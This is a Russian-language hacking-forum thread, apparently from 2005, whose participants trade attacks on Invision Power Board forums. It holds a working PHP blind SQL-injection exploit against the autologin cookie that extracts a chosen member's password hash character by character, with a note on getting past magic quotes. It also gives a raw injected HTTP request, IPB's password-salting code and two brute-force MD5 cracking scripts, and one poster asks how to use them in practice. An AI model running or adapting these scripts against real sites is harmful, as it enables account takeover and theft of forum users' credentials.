Сплойт глючный, ака в нем ошибка. И вообще тема называется ВЗЛОМ а не защита форумов. Если тебя интересуют заплатки - вали в мастерскую (раздел на форуме такой), там ИПБ обсуждается с точки зрения веб мастера.
Вот перепись сплоита на PHP
HEAD /forum/index.php?act=Login&CODE=autologin HTTP/1.1 Host: localhost:80 Cookie: member_id=3;pass_hash=%2527%20OR%20id=81%20HAVING%20id=81%20AND%20MID(`password`,1,1)=%25270 Connection: close 1: 0
HTTP/1.1 200 OK Date: Wed, 10 Aug 2005 18:43:17 GMT Server: Apache/2.0.52 (Win32) PHP/5.0.3 X-Powered-By: PHP/5.0.3 Set-Cookie: member_id=0; path=/ Set-Cookie: pass_hash=0; path=/ Set-Cookie: session_id=4395c67b5f36f0ada81303703fe8bc4d; path=/ Set-Cookie: member_id=0; path=/ Set-Cookie: pass_hash=0; path=/ Set-Cookie: session_id=227410b3c539880d0742d832afcb5e77; path=/ Connection: close Content-Type: text/html; charset=WINDOWS-1251 1: 0
SELECT * FROM ibf_members
WHERE id=$id AND password='$pass' OR id=$target
HAVING id=$target AND MID(`password`,$i,1)='$letter'
Ненадо, плиз, мне так хреново эти гады мне и так душу загубили. :cry2:LOL, я тоже щас над тобой ржать буду. Погляди сколько тут сплойтов лежит, попробую, наверняка чтонить да и подойдет.
Добавлено [time]1123706244[/time]<?php
/* this data is specific for forum that you attack, I set it to attack forum at my home computer */
$server = "localhost";
$port = 8080;
$file = "/forum/";
$id = 1; /* set here memberID who password_hash you whant to get */
$target = 10000; /* set here memberID that 100% non-existent for this forum */
/* end of data that is specific for forum that you attack
if address of forum is http://www.targetsite.com/forum/index.php
then data must be:
$server = "www.targetsite.com";
$port = 80;
$file = "/forum/";
*/
$pass = "";
$hash = "";
$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++ ) {
$idx = 0;
$found = false;
while( !($found) ) {
$letter = substr($hex, $idx, 1);
/* %2527 translates to %27, which gets past magic quotes. This is translated to ' by urldecode. */
$cookie = "member_id=$id;pass_hash=%2527%20AND%20id=$target%20OR%20id=$id%20AND%20MID(`password`,$i,1)=%2527" . $letter;
/* Query is in effect: SELECT * FROM ibf_members WHERE id=$id AND password='$pass' AND
id=$target OR id=$id AND MID(`password`,$i,1)='$letter' */
$header = getHeader($server, $port, $file . "index.php?act=Login&CODE=autologin", $cookie);
if( !preg_match('/Location.*)act\=Login\&CODE\=00\r\n/', $header) ) {
echo $i . ": " . $letter . "\n";
flush();
$found = true;
$hash .= $letter;
} else {
$idx++;
}
}
}
echo "\n\nFinal Hash: $hash\n";
function getHeader($server, $port, $file, $cookie) {
$ip = gethostbyname($server);
$fp = fsockopen($ip, $port);
$header = "";
if (!$fp) {
return "Unknown";
} else {
$com = "HEAD $file HTTP/1.1\r\n";
$com .= "Host: $server:$port\r\n";
$com .= "Cookie: $cookie\r\n";
$com .= "Connection: close\r\n";
$com .= "\r\n";
fputs($fp, $com);
do {
$header.= fread($fp, 512);
} while( !preg_match('/\r\n\r\n$/',$header) );
}
return $header;
}
?>
возвращаясь к самому простому способу - что делать с "MD5"-хешем, получаемым нехитрым и расписанным повсюду инъектом?
собственно, md5inside не подтвердил соответствия между хешем и моим собственным паролем.
$this->generate_compiled_passhash( $this->member['converge_pass_salt'], $md5_once_password ) )
function generate_compiled_passhash($salt, $md5_once_password)
{
return md5( md5( $salt ) . $md5_once_password );
}
function generate_password_salt($len=5)
{
$salt = '';
srand( (double)microtime() * 1000000 );
for ( $i = 0; $i < $len; $i++ )
{
$num = rand(33, 126);
if ( $num == '92' )
{
$num = 93;
}
$salt .= chr( $num );
}
return $salt;
}
function generate_auto_log_in_key($len=60)
{
$pass = $this->generate_password_salt( 60 );
return md5($pass);
}
function generate_compiled_passhash($salt, $md5_once_password)
{
return md5( md5( $salt ) . $md5_once_password );
}
а при чем вообще проверка куков?
тут вообще делов-то, не допускать sql-inj.. собственно кроме этого ничего и не остается.
мне даже не понятно, с чем связанно решение о смене формата хеша на отличный от MD5...
если я получу доступ к кукам пользователя(беспокоятся о безопасности пользователей своих чтоль??), то уж наверняка я с большей вероятностью вытащу пароль из автозахода в браузере или найду где он записан.
<?php
if( CrackHash() == 0 )
echo "password not found \n";
function CrackHash()
{
$found = 0;
$stsize = 26;
$symboltable = "0123456789abcdefghijklmnopqrstuvwxyz";
$pass = "";
$hash = "10a93c12e62895abfee8e7a19a3f6892";
$minchars = "3";
$maxchars = "5";
for($j = 0; $j < $minchars; $j++)
{
$pass .= $symboltable[0];
}
$hipos = $minchars;
while($hipos <= $maxchars)
{
$pos = 0;
/*echo $pass . " ";*/
if($hash == md5($pass))
{
echo "password: $pass \n";
$found = 1;
}
$oldsym = $pass[$pos];
$pass[$pos] = nextSymbol($oldsym);
while($pass[$pos] < $oldsym)
{
$pos++;
if($pos >= $maxchars)
return $found;
if($pos >= $hipos)
{
$hipos++;
$pass .= $symboltable[0];
break;
}
else
{
$oldsym = $pass[$pos];
$pass[$pos] = nextSymbol($oldsym);
}
}
}
return $found;
}
function nextSymbol($symbol) {
$stsize = 26;
$symboltable = "abcdefghijklmnopqrstuvwxyz";
if($symbol == $symboltable[$stsize - 1])
return $symboltable[0];
else
{
$res = strchr($symboltable, $symbol);
return $res[1];
}
}
?>
DeathOfPower А как применять на деле скрипты, что вы предоставили?
<?php
if( CrackHash() == 0 )
echo "password not found \n";
function CrackHash()
{
$found = 0;
$stsize = 36;
$symboltable = "0123456789abcdefghijklmnopqrstuvwxyz";
$pass = "";
$hash = "7da7993d1249cb28b4e0c3e8524d15d2";
$minchars = "3";
$maxchars = "4";
for($j = 0; $j < $minchars; $j++)
{
$pass .= $symboltable[0];
}
$hipos = $minchars;
while($hipos <= $maxchars)
{
$pos = 0;
if($hash == md5($pass))
{
echo "password: $pass \n";
$found = 1;
}
$oldsym = $pass[$pos];
$pass[$pos] = nextSymbol($oldsym);
while($pass[$pos] < $oldsym)
{
$pos++;
if($pos >= $maxchars)
return $found;
if($pos >= $hipos)
{
$hipos++;
$pass .= $symboltable[0];
break;
}
else
{
$oldsym = $pass[$pos];
$pass[$pos] = nextSymbol($oldsym);
}
}
}
return $found;
}
function nextSymbol($symbol) {
$stsize = 36;
$symboltable = "0123456789abcdefghijklmnopqrstuvwxyz";
if($symbol == $symboltable[$stsize - 1])
return $symboltable[0];
else
{
$res = strchr($symboltable, $symbol);
return $res[1];
}
}
?>